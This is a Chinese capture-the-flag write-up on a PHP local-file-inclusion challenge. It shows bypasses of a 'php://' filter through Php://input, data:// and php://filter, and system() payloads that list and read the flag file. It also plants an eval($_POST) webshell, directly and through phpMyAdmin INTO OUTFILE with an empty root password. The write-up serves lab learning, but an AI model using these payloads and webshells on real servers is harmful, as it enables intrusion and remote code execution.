NineOnee

导航

 

Web_php_include

思路

审计代码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

可以看到这里直接include($page),$page参数我们可以进行控制,并且用的是str_replace()函数进行过滤,当匹配到php://时就把该部分替换为空,我们可以用别的协议进行绕过,也可大小写

注意这里有个while循环,故单纯的用phphp://p://是无法进行绕过的

思路一

利用php://input协议

虽然过滤了php://,但是我们可以通过大小写绕过

构造payload

?page=Php://input

POST_DATA:<?php system('ls') ?>

然后得到目录

再在

POST_DATA:<?php system('cat fl4gisisish3r3.php'); ?>

得到flag

这里如果利用hackbar,可能post包会交不上去,也不知道为啥,在执行cat文件时,flag并不会显示在页面上,要查看源代码才能看到,这是为啥,也不清楚。。

思路二

利用data协议

构造payload

?page=data://text/plain,<?php system('ls'); ?>

?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>

这里直接在url上执行,用bp的时候不知道为什么执行不了,但是换个编码就行了,不知道为啥,一脑迷
在bp上执行不了的原因是空格要进行url编码,用+或者%20代替空格才可以执行,类似的还有如果cd%20%26%26ls,%26表示&,如果直接输入&也会执行不了。
所以在bp中构造
?page=data://text/plain,<?php+system('cat%20fl4gisisish3r3.php')%20?>
当我们用&时,%26代替
?page=data://text/plain,<?php+system('cat%20phpinfo.php%26%26cat+fl4gisisish3r3.php')%20?>
也可以直接用data协议挂马

?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E

直接往蚁剑上粘贴

http://220.249.52.133:53841/?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E

密码hacker,就连上了后台

思路三

?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

再base64解码下

思路四

用dirsearch扫一下,发现有phpmyadmin文件

进去之后,账号root,密码为空(可能默认这样)

然后在sql语句中执行

show variables like "secure_file_priv"

  • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

查询为空,说明可以导入和导出文件

执行

select "<?php @eval($_POST['hacker']); ?>" into outfile '/tmp/hacker.php'

注意 select 后面的要写入的文件内容是用双引号引起的,因为如果用单引号的话会与'hacker'中的单引号进行闭合导致报错,在sql语句中还是尽量使用双引号。
便可在/tmp下找到小马,Linux下一般/tmp文间夹下允许导入文件,如果换成其他文件夹就会报错,然后蚁剑连接。
http://220.249.52.133:39182/?page=/tmp/hacker.php


上述特舒情况,用php://input最好用bp,用data协议就直接在url上输入就行

posted on 2020-10-20 16:16  NineOne_E  阅读(305)  评论(0编辑  收藏  举报